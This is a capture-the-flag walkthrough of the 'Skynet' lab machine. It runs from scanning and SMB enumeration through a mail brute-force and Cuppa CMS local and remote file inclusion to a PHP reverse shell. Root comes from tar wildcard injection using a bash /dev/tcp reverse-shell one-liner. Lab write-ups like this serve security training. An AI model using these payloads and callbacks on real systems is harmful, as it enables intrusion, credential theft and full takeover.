Skynet

A vulnerable Terminator themed Linux machine.

Scanning

Nmap

root@ip-10-10-132-250:~# nmap -T4 -A 10.10.126.99
​
Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-22 18:38 BST
Nmap scan report for ip-10-10-126-99.eu-west-1.compute.internal (10.10.126.99)
Host is up (0.00054s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
|   256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
|_  256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (EdDSA)
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: SASL PIPELINING AUTH-RESP-CODE RESP-CODES CAPA UIDL TOP
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: listed post-login ENABLE OK capabilities LITERAL+ Pre-login LOGINDISABLEDA0001 SASL-IR IDLE IMAP4rev1 have more ID LOGIN-REFERRALS
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
MAC Address: 02:C1:19:41:51:45 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=9/22%OT=22%CT=1%CU=35706%PV=Y%DS=1%DC=D%G=Y%M=02C119%T
OS:M=614B6A3D%P=x86_64-pc-linux-gnu)SEQ(SP=109%GCD=1%ISR=10C%TI=Z%CI=I%TS=8
OS:)SEQ(SP=109%GCD=1%ISR=10C%TI=Z%CI=RD%II=I%TS=8)SEQ(SP=109%GCD=1%ISR=10C%
OS:TI=Z%TS=8)OPS(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301S
OS:T11NW7%O5=M2301ST11NW7%O6=M2301ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%
OS:W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF
OS:=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
OS:IE(R=Y%DFI=N%T=40%CD=S)
​
Network Distance: 1 hop
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel
​
Host script results:
|_nbstat: NetBIOS name: SKYNET, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: skynet
|   NetBIOS computer name: SKYNET\x00
|   Domain name: \x00
|   FQDN: skynet
|_  System time: 2021-09-22T12:39:04-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-22 18:39:04
|_  start_date: 1600-12-31 23:58:45
​
TRACEROUTE
HOP RTT     ADDRESS
1   0.54 ms ip-10-10-126-99.eu-west-1.compute.internal (10.10.126.99)
​
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.18 seconds

Enumeration

port 80

web sever

root@ip-10-10-132-250:~# gobuster dir -u 10.10.126.99 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.126.99
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/09/22 18:41:22 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/admin (Status: 301)
/.htaccess (Status: 403)
/config (Status: 301)
/css (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
/server-status (Status: 403)
/squirrelmail (Status: 301)
===============================================================
2021/09/22 18:41:25 Finished
===============================================================

interesting /squirrelmail

port 139

smb sever

list shares

root@ip-10-10-132-250:~# smbclient -L \10.10.126.99 WARNING: The "syslog" option is deprecated Enter WORKGROUP\root's password:
Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
anonymous       Disk      Skynet Anonymous Share
milesdyson      Disk      Miles Dyson Personal Share
IPC$            IPC       IPC Service (skynet server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server               Comment
---------            -------

Workgroup            Master
---------            -------
WORKGROUP            SKYNET

check anonymous share

username milesdyson

root@ip-10-10-132-250:~# smbclient //10.10.126.99/anonymous
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ld
ld: command not found
smb: \> ls
  .                                   D        0  Thu Nov 26 16:04:00 2020
  ..                                  D        0  Tue Sep 17 08:20:17 2019
  attention.txt                       N      163  Wed Sep 18 04:04:59 2019
  logs                                D        0  Wed Sep 18 05:42:16 2019

		9204224 blocks of size 1024. 5831056 blocks available
smb: \> get attention.txt 
getting file \attention.txt of size 163 as attention.txt (39.8 KiloBytes/sec) (average 39.8 KiloBytes/sec)
smb: \> cd logs\
smb: \logs\> get log1.txt 
getting file \logs\log1.txt of size 471 as log1.txt (230.0 KiloBytes/sec) (average 103.2 KiloBytes/sec)
smb: \logs\> get log2.txt 
getting file \logs\log2.txt of size 0 as log2.txt (0.0 KiloBytes/sec) (average 88.4 KiloBytes/sec)
smb: \logs\> get log3.txt 
getting file \logs\log3.txt of size 0 as log3.txt (0.0 KiloBytes/sec) (average 68.8 KiloBytes/sec)

check attention.txt content

root@ip-10-10-132-250:~# cat attention.txt 
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson

check logs files

root@ip-10-10-132-250:~# cat log*
cyborg007haloterminator
terminator22596
terminator219
terminator20
terminator1989
terminator1988
terminator168
terminator16
terminator143
terminator13
terminator123!@#
terminator1056
terminator101
terminator10
terminator02
terminator00
roboterminator
pongterminator
manasturcaluterminator
exterminator95
exterminator200
dterminator
djxterminator
dexterminator
determinator
cyborg007haloterminator
avsterminator
alonsoterminator
Walterminator
79terminator6
1996terminator

Initial Access

Access miles mails

back to the directory we found before `/squirrelmail`

catch request using burpsuite

use intruder to brute force password with logs we found in SMB Server

credentials milesdyson:cyborg007haloterminator

We in

3 mails content

Subject:    Samba Password reset
From:       skynet@skynet
Date:       Tue, September 17, 2019 10:10 pm
Priority:   Normal
Message:
​
We have changed your smb password after system malfunction.
Password: )s{A&2Z=F^n_E.B`
​
-----
​
From:       serenakogan@skynet
Date:       Tue, September 17, 2019 3:16 am
Priority:   Normal
Message:
​
01100010 01100001 01101100 01101100 01110011 00100000 01101000 01100001 01110110
01100101 00100000 01111010 01100101 01110010 01101111 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111
​
-----
​
From:      serenakogan@skynet
Date:      Tue, September 17, 2019 3:13 am
Priority:  Normal
​
i can i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i i can i i i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i . . . . . . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i i i i i everything else . . . . . . . . . . . . . .
balls have 0 to me to me to me to me to me to me to me to me to
you i i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to

smb credentials milesdyson:)s{A&2Z=F^n_E.B`

Access miles SMB 

root@ip-10-10-132-250:~# smbclient -U milesdyson //10.10.126.99/milesdyson/
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\milesdyson's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Sep 17 10:05:47 2019
  ..                                  D        0  Wed Sep 18 04:51:03 2019
  Improving Deep Neural Networks.pdf      N  5743095  Tue Sep 17 10:05:14 2019
  Natural Language Processing-Building Sequence Models.pdf      N 12927230  Tue Sep 17 10:05:14 2019
  Convolutional Neural Networks-CNN.pdf      N 19655446  Tue Sep 17 10:05:14 2019
  notes                               D        0  Tue Sep 17 10:18:40 2019
  Neural Networks and Deep Learning.pdf      N  4304586  Tue Sep 17 10:05:14 2019
  Structuring your Machine Learning Project.pdf      N  3531427  Tue Sep 17 10:05:14 2019

		9204224 blocks of size 1024. 5830988 blocks available
smb: \> cd notes\
smb: \notes\> ls
  .                                   D        0  Tue Sep 17 10:18:40 2019
  ..                                  D        0  Tue Sep 17 10:05:47 2019
  3.01 Search.md                      N    65601  Tue Sep 17 10:01:29 2019
  4.01 Agent-Based Models.md          N     5683  Tue Sep 17 10:01:29 2019
  2.08 In Practice.md                 N     7949  Tue Sep 17 10:01:29 2019
  0.00 Cover.md                       N     3114  Tue Sep 17 10:01:29 2019
  1.02 Linear Algebra.md              N    70314  Tue Sep 17 10:01:29 2019
  important.txt                       N      117  Tue Sep 17 10:18:39 2019
  6.01 pandas.md                      N     9221  Tue Sep 17 10:01:29 2019
  3.00 Artificial Intelligence.md      N       33  Tue Sep 17 10:01:29 2019
  2.01 Overview.md                    N     1165  Tue Sep 17 10:01:29 2019
  3.02 Planning.md                    N    71657  Tue Sep 17 10:01:29 2019
  1.04 Probability.md                 N    62712  Tue Sep 17 10:01:29 2019
  2.06 Natural Language Processing.md      N    82633  Tue Sep 17 10:01:29 2019
  2.00 Machine Learning.md            N       26  Tue Sep 17 10:01:29 2019
  1.03 Calculus.md                    N    40779  Tue Sep 17 10:01:29 2019
  3.03 Reinforcement Learning.md      N    25119  Tue Sep 17 10:01:29 2019
  1.08 Probabilistic Graphical Models.md      N    81655  Tue Sep 17 10:01:29 2019
  1.06 Bayesian Statistics.md         N    39554  Tue Sep 17 10:01:29 2019
  6.00 Appendices.md                  N       20  Tue Sep 17 10:01:29 2019
  1.01 Functions.md                   N     7627  Tue Sep 17 10:01:29 2019
  2.03 Neural Nets.md                 N   144726  Tue Sep 17 10:01:29 2019
  2.04 Model Selection.md             N    33383  Tue Sep 17 10:01:29 2019
  2.02 Supervised Learning.md         N    94287  Tue Sep 17 10:01:29 2019
  4.00 Simulation.md                  N       20  Tue Sep 17 10:01:29 2019
  3.05 In Practice.md                 N     1123  Tue Sep 17 10:01:29 2019
  1.07 Graphs.md                      N     5110  Tue Sep 17 10:01:29 2019
  2.07 Unsupervised Learning.md       N    21579  Tue Sep 17 10:01:29 2019
  2.05 Bayesian Learning.md           N    39443  Tue Sep 17 10:01:29 2019
  5.03 Anonymization.md               N     2516  Tue Sep 17 10:01:29 2019
  5.01 Process.md                     N     5788  Tue Sep 17 10:01:29 2019
  1.09 Optimization.md                N    25823  Tue Sep 17 10:01:29 2019
  1.05 Statistics.md                  N    64291  Tue Sep 17 10:01:29 2019
  5.02 Visualization.md               N      940  Tue Sep 17 10:01:29 2019
  5.00 In Practice.md                 N       21  Tue Sep 17 10:01:29 2019
  4.02 Nonlinear Dynamics.md          N    44601  Tue Sep 17 10:01:29 2019
  1.10 Algorithms.md                  N    28790  Tue Sep 17 10:01:29 2019
  3.04 Filtering.md                   N    13360  Tue Sep 17 10:01:29 2019
  1.00 Foundations.md                 N       22  Tue Sep 17 10:01:29 2019

		9204224 blocks of size 1024. 5830988 blocks available
smb: \notes\> get important.txt
getting file \notes\important.txt of size 117 as important.txt (57.1 KiloBytes/sec) (average 57.1 KiloBytes/sec)
smb: \notes\>

i found this important note

root@ip-10-10-132-250:~# cat important.txt 

1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife

check the directory /45kra24zxs28v3yd

brute force this directory 

root@ip-10-10-132-250:~# gobuster dir -u http://10.10.126.99/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.126.99/45kra24zxs28v3yd/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/09/22 19:14:14 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/administrator (Status: 301)
/index.html (Status: 200)
===============================================================
2021/09/22 19:14:14 Finished
===============================================================

i found this login page

Vulnerable CMS

search exploit for this CMS Exploit-db

#####################################################
EXPLOIT
#####################################################

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt

http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

Moreover, We could access Configuration.php source code via PHPStream 

For Example:
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------

Base64 Encode Output:
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------

Base64 Decode Output:
-----------------------------------------------------------------------------
<?php 
	class Configuration{
		public $host = "localhost";
		public $db = "cuppa";
		public $user = "root";
		public $password = "Db@dmin";
		public $table_prefix = "cu_";
		public $administrator_template = "default";
		public $list_limit = 25;
		public $token = "OBqIPqlFWf3X";
		public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
		public $upload_default_path = "media/uploadsFiles";
		public $maximum_file_size = "5242880";
		public $secure_login = 0;
		public $secure_login_value = "";
		public $secure_login_redirect = "";
	} 
?>
-----------------------------------------------------------------------------

Able to read sensitive information via File Inclusion (PHP Stream)

by triggering this url we can access Configuration.php

Field configuration:
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gInBhc3N3b3JkMTIzIjsKCQlwdWJsaWMgJHRhYmxlX3ByZWZpeCA9ICJjdV8iOwoJCXB1YmxpYyAkYWRtaW5pc3RyYXRvcl90ZW1wbGF0ZSA9ICJkZWZhdWx0IjsKCQlwdWJsaWMgJGxpc3RfbGltaXQgPSAyNTsKCQlwdWJsaWMgJHRva2VuID0gIk9CcUlQcWxGV2YzWCI7CgkJcHVibGljICRhbGxvd2VkX2V4dGVuc2lvbnMgPSAiKi5ibXA7ICouY3N2OyAqLmRvYzsgKi5naWY7ICouaWNvOyAqLmpwZzsgKi5qcGVnOyAqLm9kZzsgKi5vZHA7ICoub2RzOyAqLm9kdDsgKi5wZGY7ICoucG5nOyAqLnBwdDsgKi5zd2Y7ICoudHh0OyAqLnhjZjsgKi54bHM7ICouZG9jeDsgKi54bHN4IjsKCQlwdWJsaWMgJHVwbG9hZF9kZWZhdWx0X3BhdGggPSAibWVkaWEvdXBsb2Fkc0ZpbGVzIjsKCQlwdWJsaWMgJG1heGltdW1fZmlsZV9zaXplID0gIjUyNDI4ODAiOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luID0gMDsKCQlwdWJsaWMgJHNlY3VyZV9sb2dpbl92YWx1ZSA9ICIiOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3JlZGlyZWN0ID0gIiI7Cgl9IAo/Pg==
​
root@ip-10-10-132-250:~# echo PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gInBhc3N3b3JkMTIzIjsKCQlwdWJsaWMgJHRhYmxlX3ByZWZpeCA9ICJjdV8iOwoJCXB1YmxpYyAkYWRtaW5pc3RyYXRvcl90ZW1wbGF0ZSA9ICJkZWZhdWx0IjsKCQlwdWJsaWMgJGxpc3RfbGltaXQgPSAyNTsKCQlwdWJsaWMgJHRva2VuID0gIk9CcUlQcWxGV2YzWCI7CgkJcHVibGljICRhbGxvd2VkX2V4dGVuc2lvbnMgPSAiKi5ibXA7ICouY3N2OyAqLmRvYzsgKi5naWY7ICouaWNvOyAqLmpwZzsgKi5qcGVnOyAqLm9kZzsgKi5vZHA7ICoub2RzOyAqLm9kdDsgKi5wZGY7ICoucG5nOyAqLnBwdDsgKi5zd2Y7ICoudHh0OyAqLnhjZjsgKi54bHM7ICouZG9jeDsgKi54bHN4IjsKCQlwdWJsaWMgJHVwbG9hZF9kZWZhdWx0X3BhdGggPSAibWVkaWEvdXBsb2Fkc0ZpbGVzIjsKCQlwdWJsaWMgJG1heGltdW1fZmlsZV9zaXplID0gIjUyNDI4ODAiOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luID0gMDsKCQlwdWJsaWMgJHNlY3VyZV9sb2dpbl92YWx1ZSA9ICIiOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3JlZGlyZWN0ID0gIiI7Cgl9IAo/Pg== | base64 --decode
<?php 
    class Configuration{
        public $host = "localhost";
        public $db = "cuppa";
        public $user = "root";
        public $password = "password123";
        public $table_prefix = "cu_";
        public $administrator_template = "default";
        public $list_limit = 25;
        public $token = "OBqIPqlFWf3X";
        public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
        public $upload_default_path = "media/uploadsFiles";
        public $maximum_file_size = "5242880";
        public $secure_login = 0;
        public $secure_login_value = "";
        public $secure_login_redirect = "";
    }

credentials root:password123

access /etc/passwd

http://10.10.126.99/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

 root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
milesdyson:x:1001:1001:,,,:/home/milesdyson:/bin/bash
dovecot:x:111:119:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:112:120:Dovecot login user,,,:/nonexistent:/bin/false
postfix:x:113:121::/var/spool/postfix:/bin/false
mysql:x:114:123:MySQL Server,,,:/nonexistent:/bin/false

Reverse Shell

prepare you php reverse shell on kali exist in this directory/usr/share/webshells/php/php-reverse-shell.php

setup web server to use it with RFI remote file inclusion

fast way using python

setup listening port and trigger this url http://10.10.126.99/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.10.132.250:9000/rev.php

Privilege Escalation

spawn shell

python -c 'import pty; pty.spawn("/bin/sh")'

after some enumeration

this script /home/milesdyson/backups/backup.sh executed with root privilege every 1 min

www-data@skynet:/$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
*/1 *	* * *   root	/home/milesdyson/backups/backup.sh
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

what this script do

#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

create archive from all files in /var/www/htmland save it /home/milesdyson/backups/backup.tgz

we can break this logic - GTFOBins

at /var/www/html directory and setup listener

printf '#!/bin/bash\nbash -i >& /dev/tcp/10.10.132.250/6666 0>&1' > /var/www/html/shell
chmod +x /var/www/html/shell
touch /var/www/html/--checkpoint=1
touch /var/www/html/--checkpoint-action=exec=bash\ shell

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